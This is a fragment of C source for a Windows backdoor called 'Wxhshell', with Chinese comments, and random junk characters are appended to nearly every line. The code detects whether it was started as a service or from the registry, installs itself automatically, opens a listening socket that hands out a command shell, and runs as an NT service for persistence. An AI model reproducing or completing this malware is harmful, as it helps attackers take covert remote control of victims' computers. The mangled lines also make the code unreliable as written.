DWORD PebBaseAddress; >qnko9 V
DWORD AffinityMask; wW>A_{Y
DWORD BasePriority; d;boIP`M;
ULONG UniqueProcessId; s6 uG`F"
ULONG InheritedFromUniqueProcessId; ztcp/1jIvS
} PROCESS_BASIC_INFORMATION; j eoz*Dz
(C\]-E>
PROCNTQSIP NtQueryInformationProcess; f6hnTbJ
+$ 'Zf0U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
&u$Q4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'DP1,7
u^^[Q2LDU}
HANDLE hProcess; oH97=>
PROCESS_BASIC_INFORMATION pbi; J,'M4O\S
'j#*6xD
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C0T;![/4A
if(NULL == hInst ) return 0; (KjoSN(
K
igCZ|Ru\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W=N+VqK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5-:?&|JK;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rBQ _iB_
0q()|y?}
if (!NtQueryInformationProcess) return 0; ^O?/yV?4c
!|S(Ms
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8W*%aOi5+
if(!hProcess) return 0; =W(Q34
dm\F
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $*^7iT4q_t
W!Gq.M
CloseHandle(hProcess); 8'HEms
o_izl\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 03$mYS_?
if(hProcess==NULL) return 0; R`NYEptJ
KLST\Ln:
HMODULE hMod; B6MB48#0gs
char procName[255]; T6\[iJI|
unsigned long cbNeeded; (nQ^
p$S*dr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 94'&b=5+
y6(Z`lx
CloseHandle(hProcess); u|\1hLXX
3#LlDC_WC
if(strstr(procName,"services")) return 1; // 以服务启动 %z=le7
/CrSu
return 0; // 注册表启动 uy>q7C
} p*XANGA
T$8)u'-pa
// 主模块 ROH|PKb7
int StartWxhshell(LPSTR lpCmdLine) 'TTLo|@"-
{ \j$&DCv
SOCKET wsl; G<L;4nA)
BOOL val=TRUE; yuh *
int port=0; ik)|{%!K]H
struct sockaddr_in door; X]ipI$'+C
x+\`gK5
if(wscfg.ws_autoins) Install(); 2=*H 8'k
OAgniLv
port=atoi(lpCmdLine); 9)l$ aBa
hZm"t/aKc
if(port<=0) port=wscfg.ws_port; tHU 2/V:R
U7?;UCmX
WSADATA data; cn3#R.G~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^
gdaa>L
) ;EBz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tj' \tW+s'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); on4HKeO
door.sin_family = AF_INET; iDpSj!x/_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); mVj9 ,q0
door.sin_port = htons(port); * `JYC
z0d.J1VW
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 34f?6K1c
closesocket(wsl); *IB4[6
return 1; pE`})/?\*
} D,k6$`
f[]dfLS"W
if(listen(wsl,2) == INVALID_SOCKET) { _qF+tm
closesocket(wsl); P9R9(quI
return 1; '6DBs8>1
}
{y)=eX9
Wxhshell(wsl); CT&|QH{
WSACleanup(); b!+hH Hv:
` ./$&'
return 0; =7?4eYHC
l5~os>
} d9k0F
OR1
zrvF]|1UP
// 以NT服务方式启动 )~X2
&^orW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "fb[23g%@k
{ Q-(zwAaE
DWORD status = 0; ~]sc^[
DWORD specificError = 0xfffffff; irZ])a
>>,e4s,
serviceStatus.dwServiceType = SERVICE_WIN32; Q3 ea{!r
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^vZSUfS
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W<'m:dq
serviceStatus.dwWin32ExitCode = 0; 91/Q9xY
serviceStatus.dwServiceSpecificExitCode = 0; \UA[
serviceStatus.dwCheckPoint = 0; (|2t#'m
serviceStatus.dwWaitHint = 0; C2!|OQ9A2
t^&Cxh
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G0Iw-vf
if (hServiceStatusHandle==0) return; &s(^@OayE
P1!qbFDv8
status = GetLastError(); )705V|v
if (status!=NO_ERROR) Zj(AJ* r
{ X;$+,&M"
serviceStatus.dwCurrentState = SERVICE_STOPPED; \$K20)
serviceStatus.dwCheckPoint = 0; 5%"V[lDx@
serviceStatus.dwWaitHint = 0; F~-(:7j
serviceStatus.dwWin32ExitCode = status; u* eV@KK!
serviceStatus.dwServiceSpecificExitCode = specificError; /l3V3B7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GblA9F7
return; Y/F6\oh
} 8|gIhpO?^
[+Iz@0q
serviceStatus.dwCurrentState = SERVICE_RUNNING; Zpt\p7WQ
serviceStatus.dwCheckPoint = 0; Cp\6W[2+B
serviceStatus.dwWaitHint = 0; poE0{HOU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hW<%R]^|
} |]bsCmD
/PVk{3
// 处理NT服务事件,比如:启动、停止 i$Ul(?
VOID WINAPI NTServiceHandler(DWORD fdwControl) cZ,b?I"Q%
{ wLIMv3;k
switch(fdwControl) soxc0OlN
{ yxPazz
case SERVICE_CONTROL_STOP: 2Ah#<k-gC;
serviceStatus.dwWin32ExitCode = 0; {p2!|A&a
serviceStatus.dwCurrentState = SERVICE_STOPPED; l$KA)xbI
serviceStatus.dwCheckPoint = 0; }dX*[I
serviceStatus.dwWaitHint = 0; j^*dmX
{ <sbu;dQ`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )$2QZ
qX
} hgG9m[?K
return; M-VX;/&FR
case SERVICE_CONTROL_PAUSE: "nynl'Ryk
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2k~l$p>CN!
break; sI=xl
case SERVICE_CONTROL_CONTINUE: AYBns]!
serviceStatus.dwCurrentState = SERVICE_RUNNING; [jQp~&nY
break; &u."A3(
case SERVICE_CONTROL_INTERROGATE: x8 2cT21b
break; h'llK6_)
}; 9cbd~mM{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h,:m~0gmj
} ]h`&&B qt
.vf'YNQ%
// 标准应用程序主函数 mY|)KJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P}}* Q7P
{ l:~/<`o
J3V=
46Yc
// 获取操作系统版本 uo9B9"&
OsIsNt=GetOsVer(); ELoDd&